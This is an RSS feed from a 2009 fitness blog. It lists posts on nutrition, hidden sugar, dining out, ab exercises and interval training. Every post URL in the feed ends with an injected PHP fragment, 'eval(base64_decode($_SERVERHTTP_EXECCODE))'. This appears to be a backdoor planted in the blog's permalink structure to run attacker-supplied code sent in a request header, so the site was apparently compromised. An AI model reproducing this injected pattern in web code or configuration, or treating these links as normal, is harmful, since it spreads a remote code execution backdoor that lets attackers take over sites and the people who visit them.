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	<title>Jason Morgan</title>
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	<link>http://muscleworx.com/blog</link>
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	<lastBuildDate>Tue, 16 Jun 2009 14:22:44 +0000</lastBuildDate>
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		<title>The Real ‘Secret’ To Ramping Up Your Metabolism And Burning Fat Like Crazy &#8211; Part 1</title>
		<link>http://muscleworx.com/blog/2009/06/16/the-real-%e2%80%98secret%e2%80%99-to-ramping-up-your-metabolism-and-burning-fat-like-crazy-part-1/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://muscleworx.com/blog/2009/06/16/the-real-%e2%80%98secret%e2%80%99-to-ramping-up-your-metabolism-and-burning-fat-like-crazy-part-1/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 16 Jun 2009 14:22:44 +0000</pubDate>
		<dc:creator>musclewo</dc:creator>
				<category><![CDATA[Cardiovascular Training]]></category>
		<category><![CDATA[Female Fitness]]></category>
		<category><![CDATA[Lifestyle]]></category>
		<category><![CDATA[Nutrition]]></category>
		<category><![CDATA[Supplements]]></category>
		<category><![CDATA[Weight Training]]></category>

		<guid isPermaLink="false">http://muscleworx.com/blog/?p=50</guid>
		<description><![CDATA[It’s no mystery, the REAL secret to getting serious results from your health and fitness program is almost always overlooked and glossed over. Most folks say “I know that already” or “I understand” but in reality they have no clue what they’re talking about. So, what’s the secret? It’s your nutrition habits. There’s nothing more [...]]]></description>
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		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Watch Your Waistline While Dining Out</title>
		<link>http://muscleworx.com/blog/2009/06/11/watch-your-waistline-while-dining-out/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://muscleworx.com/blog/2009/06/11/watch-your-waistline-while-dining-out/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 11 Jun 2009 15:22:13 +0000</pubDate>
		<dc:creator>musclewo</dc:creator>
				<category><![CDATA[Lifestyle]]></category>
		<category><![CDATA[Nutrition]]></category>

		<guid isPermaLink="false">http://muscleworx.com/blog/?p=48</guid>
		<description><![CDATA[Dining out&#8230;.a favorite American past-time. Research, however, has shown that the more we dine out, the more likely we are to get accustomed to larger portions—and to potentially larger waistlines. So is it possible to dine out and have your cake too? According to a new report by the Nutrition Action Healthletter, the answer might [...]]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Are you REALLY Willing To Do What You Must to Achieve Fitness Succeess??</title>
		<link>http://muscleworx.com/blog/2009/04/29/are-you-really-willing-to-do-what-you-must-to-achieve-fitness-succeess/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://muscleworx.com/blog/2009/04/29/are-you-really-willing-to-do-what-you-must-to-achieve-fitness-succeess/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 29 Apr 2009 15:36:56 +0000</pubDate>
		<dc:creator>musclewo</dc:creator>
				<category><![CDATA[Cardiovascular Training]]></category>
		<category><![CDATA[Female Fitness]]></category>
		<category><![CDATA[Lifestyle]]></category>
		<category><![CDATA[Motivation]]></category>
		<category><![CDATA[Nutrition]]></category>
		<category><![CDATA[Weight Training]]></category>
		<category><![CDATA[ab exercises]]></category>
		<category><![CDATA[abdominals]]></category>
		<category><![CDATA[body fat]]></category>
		<category><![CDATA[body transformation]]></category>
		<category><![CDATA[Diet Tips]]></category>
		<category><![CDATA[exercise]]></category>
		<category><![CDATA[fat loss]]></category>
		<category><![CDATA[flat tummy]]></category>
		<category><![CDATA[get in shape]]></category>
		<category><![CDATA[lose body fat]]></category>
		<category><![CDATA[metabolism]]></category>
		<category><![CDATA[physical change]]></category>
		<category><![CDATA[six pack abs]]></category>
		<category><![CDATA[slim down]]></category>

		<guid isPermaLink="false">http://muscleworx.com/blog/?p=44</guid>
		<description><![CDATA[Some in search of their ultimate body are only willing to do so much to succeed. Without even knowing what success feels like yet, they make the assumption that they&#8217;re already doing enough to get the job done. Believing that “this strategy is overkill” or “that training style doesn&#8217;t make sense” without enough experience to [...]]]></description>
		<wfw:commentRss>http://muscleworx.com/blog/2009/04/29/are-you-really-willing-to-do-what-you-must-to-achieve-fitness-succeess/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Donna Gets The Help She Needs!</title>
		<link>http://muscleworx.com/blog/2009/03/24/donna-gets-the-help-she-needs/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://muscleworx.com/blog/2009/03/24/donna-gets-the-help-she-needs/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 24 Mar 2009 12:26:26 +0000</pubDate>
		<dc:creator>musclewo</dc:creator>
				<category><![CDATA[Female Fitness]]></category>
		<category><![CDATA[Testimonials]]></category>

		<guid isPermaLink="false">http://muscleworx.com/blog/?p=40</guid>
		<description><![CDATA[]]></description>
		<wfw:commentRss>http://muscleworx.com/blog/2009/03/24/donna-gets-the-help-she-needs/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sugar By Any Other Name&#8230;</title>
		<link>http://muscleworx.com/blog/2009/03/24/sugar-by-any-other-name/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://muscleworx.com/blog/2009/03/24/sugar-by-any-other-name/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 24 Mar 2009 12:10:55 +0000</pubDate>
		<dc:creator>musclewo</dc:creator>
				<category><![CDATA[Female Fitness]]></category>
		<category><![CDATA[Nutrition]]></category>
		<category><![CDATA[abdominals]]></category>
		<category><![CDATA[Biggest Loser]]></category>
		<category><![CDATA[body fat]]></category>
		<category><![CDATA[body transformation]]></category>
		<category><![CDATA[Diet Tips]]></category>
		<category><![CDATA[fat loss]]></category>
		<category><![CDATA[flat tummy]]></category>
		<category><![CDATA[junk food]]></category>
		<category><![CDATA[lose body fat]]></category>
		<category><![CDATA[metabolism]]></category>
		<category><![CDATA[six pack abs]]></category>
		<category><![CDATA[slim down]]></category>

		<guid isPermaLink="false">http://muscleworx.com/blog/?p=36</guid>
		<description><![CDATA[One of the biggest issues many people trying to lose unwanted body fat face deals with sugar, or more specifically hidden sugar. You may have every intention of eating healthy. You may even shop at the specialty stores that promote healthy, organic foods and still not see the results you are looking for when it comes to fat loss. Just because you walk into a health food store doesn't mean you're going to get something healthy]]></description>
		<wfw:commentRss>http://muscleworx.com/blog/2009/03/24/sugar-by-any-other-name/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Why I Can’t Support NBC’s The Biggest Loser</title>
		<link>http://muscleworx.com/blog/2009/03/17/why-i-can%e2%80%99t-support-nbc%e2%80%99s-the-biggest-loser/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://muscleworx.com/blog/2009/03/17/why-i-can%e2%80%99t-support-nbc%e2%80%99s-the-biggest-loser/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 17 Mar 2009 14:40:44 +0000</pubDate>
		<dc:creator>musclewo</dc:creator>
				<category><![CDATA[Female Fitness]]></category>
		<category><![CDATA[Lifestyle]]></category>
		<category><![CDATA[Motivation]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[abdominals]]></category>
		<category><![CDATA[Biggest Loser]]></category>
		<category><![CDATA[body fat]]></category>
		<category><![CDATA[Diet Tips]]></category>
		<category><![CDATA[fat loss]]></category>
		<category><![CDATA[flat tummy]]></category>
		<category><![CDATA[get in shape]]></category>
		<category><![CDATA[six pack abs]]></category>
		<category><![CDATA[slim down]]></category>

		<guid isPermaLink="false">http://muscleworx.com/blog/?p=29</guid>
		<description><![CDATA[The following is a guest posting by my good friend and colleague Dexter Tenison. Dexter is an ISSA Certified Fitness Trainer and I highly recommend looking him up if you are in the Memphis, TN area. For more on Dexter, go to www.dextertenisonfitness.com. I help people become more lean, more fit, and more healthy. I [...]]]></description>
		<wfw:commentRss>http://muscleworx.com/blog/2009/03/17/why-i-can%e2%80%99t-support-nbc%e2%80%99s-the-biggest-loser/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>The Female Fitness Paradox</title>
		<link>http://muscleworx.com/blog/2009/03/09/the-female-fitness-paradox/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://muscleworx.com/blog/2009/03/09/the-female-fitness-paradox/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 09 Mar 2009 16:42:25 +0000</pubDate>
		<dc:creator>musclewo</dc:creator>
				<category><![CDATA[Female Fitness]]></category>
		<category><![CDATA[Motivation]]></category>
		<category><![CDATA[Weight Training]]></category>
		<category><![CDATA[ab exercises]]></category>
		<category><![CDATA[abdominals]]></category>
		<category><![CDATA[exercise]]></category>
		<category><![CDATA[fat loss]]></category>
		<category><![CDATA[flat tummy]]></category>
		<category><![CDATA[lose body fat]]></category>
		<category><![CDATA[physical change]]></category>
		<category><![CDATA[six pack abs]]></category>
		<category><![CDATA[slim down]]></category>

		<guid isPermaLink="false">http://muscleworx.com/blog/?p=25</guid>
		<description><![CDATA[There are two realities that have made fitness a multi-billion dollar industry: • The #1 fitness goal is to have a leaner, more physically attractive physique. • Everyone strives for improved performance, function, health and vitality. In terms of priorities, the vast majority of women would put looking good over functioning well. We know this [...]]]></description>
		<wfw:commentRss>http://muscleworx.com/blog/2009/03/09/the-female-fitness-paradox/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to Do Double Crunches</title>
		<link>http://muscleworx.com/blog/2009/03/04/how-to-do-double-crunches/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://muscleworx.com/blog/2009/03/04/how-to-do-double-crunches/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 04 Mar 2009 18:56:19 +0000</pubDate>
		<dc:creator>musclewo</dc:creator>
				<category><![CDATA[Weight Training]]></category>
		<category><![CDATA[ab exercises]]></category>
		<category><![CDATA[abdominals]]></category>
		<category><![CDATA[flat tummy]]></category>
		<category><![CDATA[six pack abs]]></category>
		<category><![CDATA[slim down]]></category>

		<guid isPermaLink="false">http://muscleworx.com/blog/?p=21</guid>
		<description><![CDATA[If you feel like your regular crunch just isn&#8217;t doing it anymore, you&#8217;re probably right! Muscles get &#8220;bored&#8221; after doing the same exercise repeatedly. The double crunch works your upper and lower abdomen muscles because you are lifting both the upper and lower portion of your body. To &#8220;surprise&#8221; your muscles into working harder, try [...]]]></description>
		<wfw:commentRss>http://muscleworx.com/blog/2009/03/04/how-to-do-double-crunches/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Motivation More Important For Fat Loss Than Details</title>
		<link>http://muscleworx.com/blog/2009/02/25/motivation-more-important-for-fat-loss-than-details/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://muscleworx.com/blog/2009/02/25/motivation-more-important-for-fat-loss-than-details/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 25 Feb 2009 23:07:02 +0000</pubDate>
		<dc:creator>musclewo</dc:creator>
				<category><![CDATA[Lifestyle]]></category>
		<category><![CDATA[Motivation]]></category>
		<category><![CDATA[body fat]]></category>
		<category><![CDATA[Diet Tips]]></category>
		<category><![CDATA[get in shape]]></category>
		<category><![CDATA[great shape]]></category>
		<category><![CDATA[HIIT]]></category>
		<category><![CDATA[hollywood actors]]></category>
		<category><![CDATA[junk food]]></category>
		<category><![CDATA[lose body fat]]></category>
		<category><![CDATA[Robert Downey JR]]></category>
		<category><![CDATA[six pack abs]]></category>
		<category><![CDATA[slim down]]></category>

		<guid isPermaLink="false">http://muscleworx.com/blog/?p=19</guid>
		<description><![CDATA[If you want to get lean badly enough, you will. I know this is a simple statement, but it is completely true. If you are not as lean as you would like to be, it is NOT due to lack of knowledge. If you don&#8217;t have six pack abs or are not lean, but want [...]]]></description>
		<wfw:commentRss>http://muscleworx.com/blog/2009/02/25/motivation-more-important-for-fat-loss-than-details/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Modes of Interval Training</title>
		<link>http://muscleworx.com/blog/2009/02/11/modes-of-interval-training/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://muscleworx.com/blog/2009/02/11/modes-of-interval-training/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 11 Feb 2009 14:46:46 +0000</pubDate>
		<dc:creator>musclewo</dc:creator>
				<category><![CDATA[Cardiovascular Training]]></category>
		<category><![CDATA[HIIT]]></category>
		<category><![CDATA[interval training]]></category>

		<guid isPermaLink="false">http://muscleworx.com/blog/?p=16</guid>
		<description><![CDATA[Although most people visualize interval training as a track and field concept, my preferred method of interval training with clients is the stationary bike. Although  running may be the theoretical “best” mode of training, the facts are clear. Most Americans are not fit enough to run. In fact, statistics estimate that 60 percent of those [...]]]></description>
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		<slash:comments>1</slash:comments>
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